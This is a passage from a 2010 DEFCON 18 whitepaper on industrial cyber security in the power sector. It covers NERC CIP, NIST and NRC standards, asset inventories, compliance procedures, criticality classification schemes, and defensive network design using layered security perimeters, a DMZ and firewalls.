http://www.scientificamerican.com/article.cfm?id=2003-blackout-five-years-later.
Industrial Cyber Security: From the Perspective of the Power Sector Page 13 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
3. Governances and Standards
3.1. NERC
Cyber security in an industrial power plant, excluding nuclear, is largely governed by a
set of Critical Infrastructure Protection (CIP) standards created by the North American
Electric Reliability Corporation (NERC). A facility can be fined up to $1,000,000 per day
per violation13
for failing to meet the requirements of these standards. There are eight
NERC standards which highlight the primary methods and goals of a cyber security
framework; CIP-001 contains reporting requirements.
• CIP-002 Critical Asset Identification – Identifying which assets should be protected
and the varying levels of risk associated with each asset.
• CIP-003 Security Management Controls – Defines system users and sets up
responsibilities and access controls based on need.
• CIP-004 Personnel & Training – Further defines access controls and responsibilities
of users and sets minimum training standards for awareness of security policies.
• CIP-005 Electronic Security Perimeters – Creates the idea of security perimeters
around critical cyber assets. This standard also controls how items inside the
perimeter are accessed.
• CIP-006 Physical Security of Critical Cyber Assets – Defines guidelines for a
physical security plan for critical cyber assets and physical security perimeters.
• CIP-007 Systems Security Management – Defines processes for protecting assets
within an electronic security perimeter.
• CIP-008 Incident Reporting and Response Planning – Sets up requirements for an
emergency response plan and defines requirements for the reporting of incidents.
• CIP-009 Recovery Plans for Critical Cyber Assets – Sets requirements for recovery
plans, backups, and planed incident drills.
3.2. NIST
In addition to NERC requirements, the Federal Information Security Management Act
(FIMSA) created a set of standards managed by the National Institute of Standards and
Technology (NIST) which apply to federal agencies serving a nearly identical purpose to
the NERC CIPs, though somewhat more in-depth and without financial penalties. While
adherence to these standards is not directly required for non-governmental organizations,
and much of the content overlaps the NERC standards, the NIST guidelines are worth
consideration.
• FIPS Publication 199 Standards for Security Categorization of Federal Information
and Information Systems – Similar in content to CIP-002, used to category critical
assets and levels of risk for each asset, typically intended for informational assets.
13 Ziegler, Kelly. "Blackout’s 5th Anniversary Marks Progress, New Challenges Ahead ." North American Electric Reliability
Corporation (NERC). 14 Aug. 2008: http://www.nerc.com/news_pr.php?npr=142.
Industrial Cyber Security: From the Perspective of the Power Sector Page 14 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• FIPS Publication 200 Minimum Security Requirements for Federal Information
Technology Systems – Defines processes for protecting assets within an electronic
security perimeter.
• Special Publication 800-30 Risk Management Guide for Information Technology
Systems – Framework for identifying and managing risks.
• Special Publication 800-37 Guide for Security Authorization of Federal Information
Systems: A Security Lifecycle Approach – Guideline to apply risk management
framework to a computer network.
• Special Publication 800-40 Creating a Patch and Vulnerability Management System
– Guidelines for security reviews and remediation.
• Special Publication 800-53 Recommended Security Controls for Federal Information
Systems and Organizations – Further defines processes for protecting assets within
an electronic security perimeter. Provides detailed descriptions about the processes
and methods described in FIPS 200.
• Special Publication 800-53A Guide for Assessing the Security Controls in Federal
Information Systems – Criteria to evaluate security in a control system.
• Special Publication 800-60 Guide for Mapping Types of Information and Information
Systems to Security Categories – Further detail on defining critical assets and levels
of risk. Contains more detail then FIPS 199.
• Special Publication 800-82 Guide to Industrial Control System Security – Guidelines
for securing an industrial control system from cyber threats.
• And many others ranging from cell phone use to printer security requirements, but
the above should be of the most use.
3.3. NRC
Finally, nuclear plants are exempt from compliance with NERC standards. Instead
nuclear plants are mandated by NRC Title 10 Code of Federal Regulations Section 73.54
which require a plant’s “computer and communications systems be adequately protected
against cyber attacks”. Because of the vagueness of this requirement the NRC released
regulatory guide 5.71, Cyber Security Programs for Nuclear Facilities. This guide is based
heavily on the principals in NIST publications 800-53 and 800-82.
Industrial Cyber Security: From the Perspective of the Power Sector Page 15 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4. Exceeding Compliance with Overlapping Standards
4.1. Purpose
Compliance is often a very difficult thing to achieve in general; to compound this, cyber
security compliance for industry is relatively new, and most people who know anything
about their particular site, no little about cyber security. Conversely, those who know the
details of cyber security (usually IT/CS professionals), often know little or nothing about
industrial processes. This presents a significant challenge. It is not as simple as contracting
a group of IT professionals and security experts to come in and secure a network, it is
much more complicated because IT professionals aren’t usually trained for industrial
environments. To compound the situation further, some sites are required to deal with
multiple overlapping and possibly conflicting standards on the same subjects. For all the
above reasons, it is far better to set a goal of exceeding compliance rather than meeting
compliance; this is the only real approach to guarantee compliance.
4.2. Scope
This section will attempt to provide the reader with a comprehensive security plan and
techniques that can be used and tailored to a site, to help exceed compliance with multiple
overlapping governances. It is written with the understanding that exceeding compliance by
automation and meticulous design will save on overhead in the near and long terms in
comparison to simply meeting compliance with manual labor intensive methods.
4.3. Management Policies, Procedures & List
All compliance activities will require documentation and records as well as evidence or
proof. It is important to understand the distinction between documentation and records and
evidence and how each plays its role in compliance and security. To give a few examples,
documentation and records may refer to drawings, configuration data, backup drive
images, etc. while evidence may refer to things like sign-off sheets for drawings, original
configuration scanner raw output, and backup image validation and verification. To put it
another way, documentation and records are required for operational, maintenance and
design purposes while evidence is required for internal and external audits. This section will
provide a recommended set of compliance procedures and details of what needs to be
included in each. Details of what documentation and record requirements are
recommended as well as methods to maintain an audit trail will also be given.
4.3.1. Master Lists
There are three master lists usually required for compliance and always recommend by
good policy. These lists should be hierarchical in nature, the highest level providing
information about sites, the next about systems and the last providing basic data about
devices. These lists will be used later for classification activities.
Industrial Cyber Security: From the Perspective of the Power Sector Page 16 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4.3.1.1. Sites and Systems
If the organization consists of multiple satellite entities such as a major power
producer with multiple plants, the first master list should identify basic information about
each site. If the organization consists of only a single site, the first master list should
provide basic data about each system since a sites list would be fairly pointless and of
no use. Fields contained in these lists should include the following at a minimum,
additional fields can be added by the organization, but it is not recommended that any of
the fields be removed:
Sites List
• Site Name
• Location
• Address
• Type - e.g. coal, nuclear, etc
• Peak load output
• Responsible Organizations and contact information
• Classification – discussed later
The sites list should include control centers, backup control centers, auxiliary control
centers, large transmission substations, facilities critical to system restoration, automatic
load shedding, special protection systems and finally generating facilities.
Systems List
• Site
• System Name
• Description
• Responsible Party
• Classification – discussed later
The systems lists should be comprehensive for a given site and will generally be site
specific. Systems lists are usually defined during plant construction and are not difficult
to obtain. For the purposes of cyber security compliance, the systems list may require
some modification. For examples of the two lists described above Refer to section 7
Appendix A: Examples. Additional lists such as I/O lists and bill-of-materials (BOM) will
also be useful.
4.3.1.2. Cyber Devices
Industrial Cyber Security: From the Perspective of the Power Sector Page 17 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
A decision will need to be made regarding what level of device to include on this list.
A related decision will need to be made regarding how each site defines a cyber device.
For example, one would not want the list to include end devices like instrument
transmitters. Of course, all end devices must be captured on documentation somewhere
such as connection diagrams and I/O lists, but these devices are not easily protected
from cyber attack and it is assumed that far worse holes exist; the time may come when
instrument manufacturers include added security measures.
The following is a recommendation for defining the term Cyber Device: A
programmable electronic device whose primary programming interface is not
implemented using a local non electronic method such as a keypad. The latter exclusion
is intended to eliminate from compliance requirements, those devices which an attacker
could not easily access, program and control from a remote location. Non-remotely
accessible devices should be installed in locations of higher order devices to provide
added physical protection by inclusion, whenever possible. Fields contained in this list
should include the following at a minimum, additional fields can be added by the
organization, but it’s not recommended that any of the fields be removed:
• Characteristic Identifier/Tag
• Unit
• Type – e.g. PLC, DCS, PC, etc.
• Manufacturer
• Model
• Operating system
• Number of Ethernet ports
• IP address and host name
• Equipment description
• Approximate location
• Physical security – Yes/No
• Physical security type – Camera, lock, etc.
• Protocols
• Protocol type – routable or non-routable
• Site
• System
• Classification – discussed later
The device list should include PLC, DCS, Serial or Network Recorders, Computers
and Servers, KVM switches, media converters, external drives, controllers, thin clients,
network switches, routers, hubs, any device with an Ethernet connection and any other
device the site feels should be included.
4.3.2. Master Drawing
Industrial Cyber Security: From the Perspective of the Power Sector Page 18 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
One series of network drawings must be developed and maintained using highly
confidential methods. It must include every connection using routable and digital protocol
to every cyber device; however the site chooses to define the term cyber device. Refer to
Section 7. Appendix A: Examples. Connections usually included are Ethernet, serial, fiber,
USB, proprietary protocols, wireless, printer and others. Devices usually include PLCs, a
DCS, process recorders, computers, servers, media converters, external storage,
controllers, thin clients, Keyboard Video Mouse (KVM) switches, Ethernet switches,
routers, hubs and any device which has an Ethernet connection. Of course, symbology,
line types, borders, etc must be defined prior to embarking on this development.
4.3.3. Procedure 1: Policies
This procedure should be considered the master document, identifying associated
procedures and requirements that are common to all cyber security procedures. This
master document should include:
• An overview of scope, approach and commitment to cyber security
• Cyber security team including roles, responsibilities and contact data
• Accountability of employees statement
• References: governing standards, guidance
• Issuance and update policies for procedures
• Processes for initiating, documenting and closing exceptions to policies:
documented exceptions should always require compensating measures to mitigate
any added risk
• Exception review policies: exceptions, conditions for exceptions and the exceptions
process
• Identification, Classification and Categorization policies and processes
• Personnel security training requirements, processes and policies
• Introductions/overview of associated procedures
• Periodic reviews of all policies
Applying contiguous security management controls across an organization proves to be
more cost effective in the near and long terms than attempting to apply two or more sets of
controls to sub entities.
4.3.4. Procedure 2: Information Protection
It is essential that only individuals with a need to know are allowed to view sensitive
information, regardless of the media type. This procedure should provide the process to
ensure this happens.
4.3.4.1. Information management controls- How to deal with large quantities of
information, most of which may be considered sensitive information.
Industrial Cyber Security: From the Perspective of the Power Sector Page 19 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• Policies, process and reporting requirements for information loss or theft
• Data retention requirements: everything should be kept, electronically,
indefinitely and well organized
• Policies for determining the sensitive nature of information and subsequent
controls through assessments
• Individuals responsible for access authorization.
4.3.4.2. Information access controls - How to access sensitive information and
maintain an accurate record of information owners and what they own.
• User management policies: Information access control list and policies for
adding, removing and modifying users/user rights
• Authorization process for access rights
• Personnel risk assessments/background checks
4.3.4.3. Sensitive/Top Secret Information - Whatever policies an organization has in
place regarding classifying information, sensitive/top secret information should include
the following at a minimum.
• Operational procedures and lists
• Network topology and similar, floor plans of computing centers, equipment
layouts
• Disaster recovery/incident response plans
• Security configuration information
Information must be protected from start to finish, from initial plant design to plant
shutdown and abandonment. Once information about the network is leaked, the only
effective mitigation is to redesign the network or perhaps augment certain security
controls.
4.3.5. Procedure 3: Physical Security Plan
This procedure should define the physical access controls, monitoring and user
management policies of the organization; it defines requirements for the first and last lines
of defense against local cyber attacks and local brute force physical destruction of
systems.
4.3.5.1. Physical Security Perimeters (PSPs) - segmenting and layering physical
security and identification of physical access points.
• PSP design requirements: a layered approach is highly recommended by
making use of primary, secondary and tertiary ESPs.
Industrial Cyber Security: From the Perspective of the Power Sector Page 20 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• Requirements for protection of physical access points to PSPs: two factor
authentication at each PSP access point, whether primary, secondary or tertiary,
is recommended.
4.3.5.2. Physical Security Controls – protection of PSP access points and devices
used for the monitoring and control of physical access points.
• Policies and tools to monitor, log and alert attempts at unauthorized physical
access and breaches at all access points to PSPs and critical areas at all times
• Incident Response Plan for physical security breaches and reporting
requirements
• Physical enclosures (6 walled devices) with physical access warnings (e.g.
“Authorized Personnel Only”)
• Acceptable physical security controls: Keys/Locks, RFID readers, iris, fingerprint
or other biometric systems, cameras, etc
4.3.5.3. Physical Access Controls – user management and auditing
• User management policies: Physical access control list and policies for adding,
removing and modifying users/user rights
• Levels of physical access including restricted, escorted, unescorted, visitor or
unrestricted and conditions for membership: use a scaled value to define what
the user is allowed to do once granted access. A need to know approach should
be taken
• Policies and tools to monitor and log authorized physical access: a historical
audit trail should be kept indefinitely.
• Pass, ID, keys and locks management and response to loss or tampering
This procedure will inherently be tied closely to Procedure 5, Change Control and
Configuration Management. Anytime there is a change to the physical security of cyber
assets, requirements in both procedures will need to be met.
4.3.6. Procedure 4: Electronic Security Plan
This procedure should define the electronic access controls, monitoring and user
management policies of the organization; it defines requirements for the first and last
lines of defense against remote and local cyber attacks.
4.3.6.1. Electronic Security Perimeters (ESPs) – segmenting and layering electronic
security and identification of electronic access points.
• ESP design requirements: a layered approach is highly recommended by
making use of primary, secondary and tertiary ESPs. A Demilitarized Zone
should be used to isolate the Primary ESP from untrusted networks
Industrial Cyber Security: From the Perspective of the Power Sector Page 21 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
• Requirements for protection of electronic access points to ESPs: two factor
authentication at each ESP access point, whether primary, secondary or tertiary,
is recommended
4.3.6.2. Electronic Security Controls – protection of ESP access points and individual
cyber devices.
• Policies and tools to monitor, log and alert attempts at unauthorized electronic
access and actual breaches at all access points to ESPs as well as devices at all
times
• Incident Response Plan for electronic security breaches and reporting
requirements
• Network security controls: encryption and authentication policies,
password/username policies, protection of interfaces between internal and
external networks, firewalls, network and device design requirements, network
backup and recovery infrastructure, security assessments
• Device security controls: security settings, hardening plan, software verification
and code reviews, firewall use and policies, digital media policies
• Backup and recovery: define process for backup generation, validation and
recovery and requirements for media and backup systems
4.3.6.3. Electronic Access Controls – user management and auditing
• User management policies: Electronic access control list and policies for adding,
removing and modifying users/user rights
• Levels of electronic access (user rights) including admin or other user groups
and conditions for membership
• Policies and tools to monitor and log authorized electronic access: a historical
audit trail should be kept indefinitely
• Personnel, domain, login and fair use banner policies
This procedure will inherently be tied closely to Procedure 5, Change Control and
Configuration Management. Anytime there is a change to the electronic security of
cyber assets, requirements in both procedures will need to be met.
4.3.7. Procedure 5: Change Control and Configuration Management
It is extremely important that semi-automated management systems be in place prior
to any attempt to keep track of configuration data. Previous attempts at manual survey
and walk downs have not proven to be cost effective compared to automated systems.
Even with use of automated scripts to capture data and databases to store data, the
costs associated with these reoccurring activities far exceeds those to install new
automated analogs. This procedure should include the following main points.
Industrial Cyber Security: From the Perspective of the Power Sector Page 22 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4.3.7.1. Asset management - changes in network design and how devices are tracked
and managed on a network
• All changes to the network must be tracked on lists, drawings, databases and
anywhere else “current” data exists
• Defines roles and responsibilities for authorization of changes
• Defines policies for new devices or disposal/relocation of hardware
4.3.7.2. Configuration management – changes to device software or hardware design
• All configuration and logic changes to cyber devices must be tracked indefinitely
via Operations & Maintenance (O&M) activities: most of the power sector
currently tracks at least the most critical or hard to replace logic on cyber
devices, others effectively track all logic.
• Policies regarding where and how configuration data is tracked, protected and
stored: systematically and electronically manage data to improve security in a
cost effective way.
• Define what configuration data is required and recommended: all configuration
data is useful under certain scenarios. Always know all open ports, installed
programs and services, security setting configurations, hardware configurations
and other pertinent data.
• Defines process for hardware upgrades, software changes and version upgrades
of operating systems, logic/graphics changes, firmware updates, vendor
releases, implementation of security patches and cumulative service packs
• Patch management, testing and rollout: operating systems, network devices and
control system components
• Define what devices require configuration management: Typically not necessary
for devices like process transmitters, though calibration instructions should be on
file and available for immediate recalibration. At a minimum, distributed the DCS,
PLCs, human machine interfaces, PCs/servers, switches, routers, hubs and all
devices with an Ethernet, serial, modem or USB port should be included.
4.3.7.3. Change Process – change requests, implementation and testing
• Changes may result from vulnerability identification, patch releases, a need for
added/reduced functionality, or many other scenarios.
• A plan should be in place for implementing and testing changes prior to any
change occurring. Changes should be tested in-lab prior to implementation in-
field and after implementation in-field.
• Process for initiating reviewing, approving, authorizing, implementing and testing
changes: Plan reviews should be approved by authorized personnel to ensure
there are no adverse consequences to security. Sufficient backups should be
maintained in case a rollback is required.
Industrial Cyber Security: From the Perspective of the Power Sector Page 23 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Configurations need to be periodically (at least daily) validated to ensure they have not
been changed inadvertently or without authorization. This would be completely
impractical using manual time intensive methods, automation must be used.
4.3.8. Design Guides
Design guides should not list hard requirements, rather guidelines for effective
implementation of security systems based on lessons learned throughout the industry
and general best practices. They should be written when a particular need is identified.
4.4. Recommendations for a True Defense-in-depth Approach
Section 4.3 deals entirely with documentation, records and the audit trail. This section is
intended to provide an in-depth and comprehensive rundown of the recommended
methods, techniques and tools for complying with the policies outlined in the previous
section. The methods outlined in this section were developed over the course of a year with
particular attention paid to ensuring compliance with the standards previously discussed.
When appropriate, new processes should be rolled into existing processes such as the
sites Corrective Action Program (CAP) which usually gives requirements for identifying,
reporting, evaluating and correcting problems with the plant in general.
4.4.1. Identification, Classification and Categorization
Existing documentation such as connection diagrams and network diagrams could be
incomplete and/or inaccurate depending on how well the organization developed and
maintained documentation in the past. Any existing documentation must be field verified
prior to use in a new compliance effort. It is assumed the organization has already
developed a network diagram and sites, systems and a device list.
Sites should be classified by importance to operations and risk of long term
widespread impact to other facilities (i.e. severity of an attack). Systems should be
classified by importance to plant operation and worst case scenario down time or time to
restart (i.e. severity of attack) and likeliness of attack. Devices should be classified
based on importance to operation and control (i.e. severity of attack), likeliness of attack
and ease of attack.
Classification of all items on the sites list should be completed prior to classification of
items on the system or device list. Items on the systems list will inherit some
requirements from the sites list and devices will inherit some requirements from the
systems list. The results of this classification process should be used to determine what
sites, systems and devices should be addressed first and which sites, systems and
devices should be protected the most. This will help determine yearly funding needs.
The process should be kept as simple and intuitive as possible yet remain effective.
Industrial Cyber Security: From the Perspective of the Power Sector Page 24 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
As of 2010, most governing authorities do not specifically call out the methods and
classification titles of sites, systems or devices. It is therefore left up to the organizations
to develop a scheme. The following provides a recommended scheme for classifying
items on the sites, systems and devices lists. This should be tailored to the organization,
but it is not recommended that the organization curtail any of the requirements.
Classifications are numbered based on level of importance in ascending order with 1
implying the most essential and important classification, this will assist in quickly
interpreting and disseminating the knowledge concerning the severity of an immediate
attack regardless whether the attack is against a site, system or device.
4.4.1.1. Sites
Examples of sites may include generating stations, control centers, backup control
centers, large transmission substations, facilities critical to system restoration,
automatic load shedding, and special protection systems.14
Scheme:
Q0 - severity of attack: Does an asset if destroyed, degraded, compromised or
otherwise rendered unavailable, impact the reliability of the Bulk Electric System?
Can adverse consequences of a cyber attack at the target site spread far beyond
the target site?
Level of
Importance
Q0
Classification
Implications
2
No
Non-Critical
Site
Well protected site,
eventually.
1
Yes Critical Site
Highly protected site and
addressed first.
Usually, factors to consider when answering Q0 should include peak load
generation, availability (how long process restoration will take in a worst case cyber
attack scenario) and integrity (how resistant the site is to compromise and permanent
damage to systems). Precise methodology to determine the critical nature of a site has
not been given by most governing authorities, probably because the authorities simply
have not identified the most effective methods yet due to the relative newness of this
field. See Appendix A: Examples.
4.4.1.2. Systems
Systems vary greatly from site to site; each site usually has a pre-developed
systems list. Examples of common systems at a coal plant are Boiler, Turbine Control,
14 North American Electric Reliability Corporation, NERC. CIP-002-3: Critical Infrastructure Protection. Washington, DC :
NERC, 2009.
Industrial Cyber Security: From the Perspective of the Power Sector Page 25 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Burner Management, and many more. Examples of common systems at nuclear plants
include Reactor Control, Fuel Loading, Turbine Control, and many more.
Scheme:
Q1 - likeliness of attack: Does the system include cyber devices?
Q2 - severity of attack: Does the system directly support the reliable operation of the
site or can system compromise negatively affect generation capacity or reliability?
Answering Q1 is relatively straightforward and only depends on how an organization
defines a cyber device or cyber asset (as discussed in section 4.3.1.2). Answering Q2
will usually involve approximating the effect of total system loss to the plant and other
systems; it will be a somewhat subjective process and should be answered by
knowledgeable plant personnel and verified. Precise methodology to determine the
critical nature of a system has not been given by most governing authorities, however,
most authorities recognize or recommend some form of device grouping; remember,
new processes and requirements should be merged with existing processes to as
much extent as possible. See Appendix A: Examples.
4.4.1.3. Cyber Devices
Level of
Importance
Q1
Q2
Classification
Implications
4
No
No
Non-Critical
Non-Cyber
System
Least critical systems which
are usually outside scope of
compliance, but which should
still be at least minimally
protected in some manner.
3
No
Yes
Critical
Non-Cyber
System
System will still require
physical security controls and
management if feasible.
2
Yes
No
Non-Critical
Cyber
System
System will still require
electronic security controls and
management. Physical security
controls are still highly
recommended and are often
required under certain
scenarios anyway.
1
Yes Yes
Critical
Cyber
System
By far the most critical
systems, Requiring application
of all the nuances of an
organizations security policies
and processes.
Industrial Cyber Security: From the Perspective of the Power Sector Page 26 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Examples of cyber devices typically include a DCS, PLCs, SLCs, modern
switchgear and relays, recorders, analyzers, and other Ethernet devices. Digital
meters, indicators, process transmitters, and other such devices whose software
functions are only validated by calibration, devices whose primary programming
interface is a local manual keypad or devices without digital communications
connections should not be included generally. Cyber devices need to be assigned to a
system and documented on the device list prior to classification.
Scheme:
Q3 - severity of an attack: Does the device directly support the reliable operation of
a critical cyber system (level 4 system) or would the device disrupt operations of a
critical site (level 1 site) or critical cyber system if compromised (level 4 system)?
Q4 - likeliness of attack: Is the device used for physical or electronic access control
or monitoring of a PSP or an ESP or does the device perform system or plant
control via human machine interfaces (level 2 & 3 systems)?
Q5 - ease of attack: Does the device use routable protocol to communicate outside
an ESP, does the device use routable protocol inside a control center, or is the
device dial-up accessible (level 3 & 4 systems)?
Level of
Importance
Q3
Q4
Q5
Risk
Classification
Implications
4
No
No
No
Low
Non-Critical
Cyber Devices
Least critical
devices
3
No
No
Yes Medium
Level 3 Critical
Cyber Device
*
3
No
Yes
No
Medium
Level 3 Critical
Cyber Device
*
2
No
Yes Yes
High
Level 2 Critical
Cyber Device
*
3
Yes
No
No
Medium
Level 3 Critical
Cyber Device
*
2
Yes
No
Yes
High
Level 2 Critical
Cyber Device
*
2
Yes Yes
No
High
Level 2 Critical
Cyber Device
*
1
Yes Yes Yes Highest
Level 1 Critical
Cyber Devices
Most critical
Devices
Industrial Cyber Security: From the Perspective of the Power Sector Page 27 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
* Levels of criticality can be used as a guide during network design, to ensure the
highest levels of criticality are inherently addressed first and protected and audited the
most.
Q3, Q4 and Q5 are not difficult to answer so long as the evaluator is familiar with the
systems involved. Q3, Q4 and Q5 inherit some logic from the systems and sites
classifications which ties the three classifications together. Precise methodology to
determine the critical nature of a device has not been given by most governing
authorities, however, most authorities require or recommend some form of risk based
and/or tiered approach. In regards to a tiered approach it is often cheaper to apply one
class of security control across all devices regardless of the classification than to apply
multiple requirements to various classes of devices. See Appendix A: Examples.
4.4.1.4. Information Categorization
Confidentiality, integrity and availability are key goals for information. All information
should be classified based on low, medium and high levels of potential impact to any of
these information security goals. The following table provides a recommended risk-
based approach to information categorization, which is highly based on FIPS 199.
Risk
Low
Medium
High
Confidentiality:
Ensures information
is accessible only to
those authorized to
have access
Unintended or
malicious release of
information is
predicted to have a
limited adverse
effect.
Unintended or
malicious release of
information is predicted
to have a serious
adverse effect
Unintended or malicious
release of information is
predicted to have a
severe or catastrophic
adverse effect
Integrity:
Ensures data is not
improperly modified
or handled
Unintended or
malicious modification
of information is
predicted to have a
limited adverse effect
Unintended or
malicious modification
of information is
predicted to have a
serious adverse effect
Unintended or malicious
modification of
information is predicted
to have a severe or
catastrophic adverse
effect
Availability:
Ensures that data is
accessible at a
required times
Interruption of access
to information is
predicted to have a
limited adverse effect
Interruption of access
to information is
predicted to have a
serious adverse effect
Interruption of access to
information is predicted
to have a severe or
catastrophic adverse
effect
Industrial Cyber Security: From the Perspective of the Power Sector Page 28 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
SC information type = {(confidentiality, impact), (integrity, impact), (availability,
impact)}, where the acceptable values for potential impact are LOW, MODERATE,
HIGH, or NOT APPLICABLE; information type is administrative, public, investigative,
process control data, etc. 15
4.4.1.5. Classification Summary & Utilization
The following table is based on previously developed classifications and provides
guidance regarding which devices, sites and systems need to be addressed in which
order, as indicated by the alphabetical order of the letter designations. This is just one
example of how classifications can be made of use.
Cyber
Device
Level
Critical Sites
Non-Critical Sites
System Level
1
2
3
4
1
2
3
4
1
a
b
c
d
q
r
s
t
2
e
f
g
h
u
-
-
-
3
i
-
-
-
-
-
-
-
4
-
-
-
-
-
-
-
-
The benefit of designing a comprehensive and open ended classification system is
that classification assignments can be automated and tracked by database systems
and assigned based on user input to specific questions. New regulations, which are
always anticipated, should not significantly alter current operations. The idea is simple,
truly protect cyber systems effectively and responsibly and the nuances of compliance
standards become somewhat irrelevant. For example, any new regulations requiring
identification and classification activities need only assign new titles to an existing
methodology; any new requirement set forth can simply be added to an already
effective security plan.
4.4.2. Electronic Security Controls and Measures
This section is dedicated to strongly securing access points to electronic security
perimeters and discrete cyber devices.
15 Computer Security Division, National Institute of Standards and Technology (NIST). FIPS PUB 199: Standards for
Security Categorization of Federal Information and Information Systems. Gaithersburg, MD: Federal Information Processing
Standards (FIPS), 2004.
Industrial Cyber Security: From the Perspective of the Power Sector Page 29 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
4.4.2.1. Electronic Security Perimeters (ESPs)
ESPs will be used to segment the network and will be critical in planting security
controls. All ESPs need to be inherently trusted zones. All access points, whether
Ethernet, fiber, proprietary or any other physical or wireless connection to an ESP,
must be identified and protected appropriately. It is extremely important, for an effective
defense-in-depth approach that ESPs are defined in a layered or hierarchical approach.
Generally, primary, secondary and tertiary ESPs will suffice.
The primary ESP should comprehensively encompass the entire site, all ESPs, and
thus, all trusted zones. All physical and wireless connections must be identified and
documented. These connections to a primary ESP will be external connections, and
are by far the most important to protect, obviously; they are, usually, the only access
points available to a remote attacker. Access points to a primary ESP deserve
somewhat excessive protection mechanisms, stronger authentication and strong
encryption mechanisms.
Connection points between discrete secondary ESPs of a given site will be internal
access points for various network segments. A secondary ESP should never have any
site external connections. All external connections to a secondary ESP should pass
directly through the primary ESP before communicating to the outside world.
Connection points between discrete secondary ESPs deserve robust and effective
controls, as discussed later.
Often, sites do not protect tertiary ESPs or even define them, this is a mistake.
Tertiary ESPs are the last line of defense for cyber devices. They deserve the same
level of controls and protection as secondary ESPs, though somewhat more
specialized and tailored to each discrete ESP individually. All highest risk critical cyber
devices should be included in a Tertiary ESP. This layered approach is an effective
defense in depth approach that facilitates isolation of one ESP from another during
compromise.
4.4.2.2. Protection of ESP Access Points
Defense-in-depth is a layered security strategy and tactic used to strengthen
security controls at all levels. Defense-in-depth originated as a military strategy with a
goal of delaying, rather than preventing the advance of an attacker by yielding space to
buy sufficient time to respond effectively. An effective defense-in-depth strategy results
in either an attack attempt of infeasible duration or an attack duration that buys enough
time to detect and respond to an attack. Various methods and tools are discussed in
the following section. Always vary the use of tools and vendors across levels to make
the network more resistant to compromise.
Industrial Cyber Security: From the Perspective of the Power Sector Page 30 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
A. Limiting access to the Primary ESP via the DMZ
The DMZ limits and controls all communication between trusted zones, which make
up the area internal to the primary ESP, and un-trusted zones. Any individual device
that connects to an un-trusted zone needs be included in the DMZ to maintain a true
DMZ. Any device included in the DMZ would inherently be a level 1 Critical Cyber
Asset by the previously developed classification and thereby all connections to the
DMZ will have the highest levels of security. The DMZ is a bit special, and even this is
too low of a classification; special considerations are required for this zone. Firewalls
from two different manufacturers must bridge the trusted zone and un-trusted zone
access points. This prevents a vulnerability in one firewall from allowing access to the
entire system. In an ideal setup, there is only one connection between the DMZ and
the untrusted zone and one connection between the DMZ and the trusted zone. If only
unidirectional communication is required or the organization can operate with
unidirectional communication, install a data diode; they serve their purpose well. Virtual
Private Networks (VPNs) may prove to be an effective security control within the DMZ.
Internet access should not be permitted directly through the DMZ, an ESP or a
trusted zone. Internet access from the primary ESP may be obtained through the DMZ
then through the business network, but even this is not good practice and should be
avoided. All communication protocols associated with the Internet Protocol Suite (e.g.
TCP/IP) should be routed through a stateful firewall.
B. Limiting access between Secondary ESPs
Secondary ESPs should only communicate with other secondary ESPs or access
points to the primary ESP. Electronic access to any secondary ESP through any
access point should only be permitted through a well managed and stateful firewall.
Log all access events. Monitor, detect, and alarm all attempts and actual unauthorized
access events continuously and electronically. Consider recording user activity in some
manner. Provide session lock for inactive users and an effective method to terminate
sessions. Protect redundant connections as well as primary connections. All level 1, 2
and 3 devices should be housed in a secondary or tertiary ESP.
C. Limiting access between Devices and/or Tertiary ESPs
Tertiary ESPs should only be defined for highest risk cyber devices and must be
tailor to each system.
D. Domain Controllers, Active Directory and Group Policy Objects (GPOs)
In-depth discussion of domain controllers, active directory and GPOs are outside the
scope of this paper, however, they are highly recommended. These controls provide
ease and cost savings to security and user management and deeper insights into an
operating system’s security configurations, if they are used properly. NIST Special
Industrial Cyber Security: From the Perspective of the Power Sector Page 31 of 65
July 28th 2010
Presented at DEFCON 18, July 29th through August 1st 2010, Riviera Hotel, Las Vegas NV
Publication 800-81, “Secure Domain Name System (DNS) Deployment Guide” is a
recommended guide for installing domains at enterprise facilities. As of July 2010, an
equivalent guide does not exist for generating facilities, but this is a good starting point.
4.4.2.3. Protection of cyber devices
When determining how to protect cyber devices, classifications can play a key role,
but only if they are design and implemented correctly; over fragmenting policies across
too many levels of criticality or over applying too few policies across often too few
devices are common mistakes. The classifications outlined in section 4.4.1 are
intended for large industrial facilities. When security controls are applied, apply them in
a layered approach but try to maintain some continuity at each layer, unless
excessively strong protection mechanisms are required, such as in the DMZ, where the
appearance of disorder may be advantageous.
A. Applying protections to devices
The protections applied to various components in an industrial control system will
vary greatly depending on many factors, but the following guidance should be helpful.
